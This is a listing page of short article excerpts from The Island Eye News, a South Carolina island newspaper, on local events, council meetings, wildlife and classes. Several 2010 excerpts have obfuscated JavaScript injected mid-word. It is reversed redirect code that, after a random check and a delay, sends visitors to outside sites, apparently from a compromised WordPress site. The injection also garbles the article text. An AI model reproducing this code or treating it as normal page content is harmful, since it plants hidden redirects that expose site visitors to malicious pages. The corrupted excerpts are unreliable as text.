By Blake Bunch Whether the Ben Sawyer bridge is working efficiently ultimately determines one’s route off Sullivan’s Island, and even though the bridge was recently replaced with a brand new span and operating system, the bridge is still experiencing the occasional maintenance issue. Most of these issues directly stem from the traffic/weight support of the …
Songbirds Spread Wings South For Fall
By Sarah Harper for The Island Eye News Every year, millions of songbirds migrate from North America south to the tropics to spend their nonbreeding season at their overwintering grounds. This phenomenon is referred to …
Federal Bureau Of Investigation’s Hostage Rescue Team Conducts Training In Charleston
By City Of Charleston for Island Eye News The Federal Bureau of Investigation conducted a four-day maritime exercise in and around the Charleston area this week. During the exercise, special agents based in Quantico, Virginia, …
Tickets On Sale For Brookgreen Gardens’ Nights Of A Thousand Candles
By Lauren Van Liew for The Island Eye News On Aug. 1, Brookgreen Gardens announced tickets are on sale for Nights of a Thousand Candles, the annual holiday light display that draws visitors from across …
Message From The Sullivan’s Island Mayor: August 2022
Dear Island neighbors, I love it when our younger islanders show a strong concern for nature and the environment, especially the part of it we enjoy here. I recently received a thoughtful handwritten letter in …
Isle Of Palms Considers Hiring Liaison To Manage Charleston Visitors Bureau
By Brian Sherman for The Island Eye News The Isle of Palms City Council might consider hiring either a full-time or contract employee to work with the Charleston Area Convention & Visitors Bureau on how …
Sep 03 2010
Holy Yoga
By Kristin Hackler It’s just before 9:30 on a Wednesday morning, and several cars are parked in front of Sunrise Presbyterian Church on Sullivan’s Island. A couple kids mill around as their moms grab a bottle of water and a colorful rolled-up mat out of the trunk and head intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = …
Sep 03 2010
Isle of Palms City Council Meeting – August 24, 2010
By Blake Bunch The Appointment and Administration of Oath toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to New Employees Mayor Dick Cronin led the following candidates through their Oath of Office: Mr. Jeff Anderson, who will serve as Fire Inspectoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay …
Sep 03 2010
Cub Scouts look back on a great summer and forward to a great year
By Steve Suggs The Pack 59 Cub Scouts packed in the summer fun with monthly outings including a trip to Bee City in Cottageville, an interactive surf seining experience on Sullivan’s Island and a fun free swim on Sullivan’s Island, as well as the Cub Scouts day camp offered by the Coastal Carolina Council of …
Sep 03 2010
Computer questions? Rent-a-Bob!: Free computer use classes at Sunrise Presbyterian
Isle of Palms resident Bob Hooper is a whiz at computers. Starting with computer repairs in 1987, Bob has since started his own computer repair and assistance company called, appropriately, Rent-a-Bob. “I can ‘speak the lingo’, but I also work well with older clients,” says Bob. Certified in A+, Network+, and Security+ from CompTia, Bob …
Sep 03 2010
IOP Community Wellness Fair: Thursday, September 16, 2010
Provided by the IOP Recreation Center The Isle of Palms Recreation Department will host their Annual Community Wellness Fair on Thursday, September 16, 2010, from 7 a.m. toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 12 p.m. Participants are invited toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var …
Sep 03 2010
Who will write your memoirs?: Memoir writing classes now offered at IOP Rec. and Creative Spark
Provided by the IOP Rec. Dept. Do you remember your first car, your first job or your first love? Would you like toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to write down some of these memories for yourself, your children or your grandchildren? Our …
Sep 03 2010
Pawsitive training with Cindy Carter
By Meredith Powell Cindy Carter, owner and head trainer of Mindful Manners Dog Training, offers in-home and on-site positive, gentle private dog training and group classes for her clients and their pets. After working in Atlanta for years as a feng shui practioner, Cindy found her real passion in dog training after adopting a shy …
Sep 03 2010
An intriguing island internship
By Anne Anderson This past summer brought gentle breezes, warm sunshine, bare feet on the beach and three young women with adventurous spirits, high toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolerances for risk-taking and infectious smiles. Courtney Douds, Jessica Tiptoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var …
Sep 03 2010
Turtle Team gets “Stinky”: SC Aquarium’s first rehabilitated turtle found during survey
Provided by the SC Aquarium On July 5, 2010, the first Loggerhead turtle rehabilitated at the South Carolina Aquarium was recaptured nearly 10 years after it was released from the now fully-fledged Sea Turtle Hospital. Dubbed “Stinky” by the Aquarium’s animal care staff, the Loggerhead was recently recaptured a few miles off central Georgia by …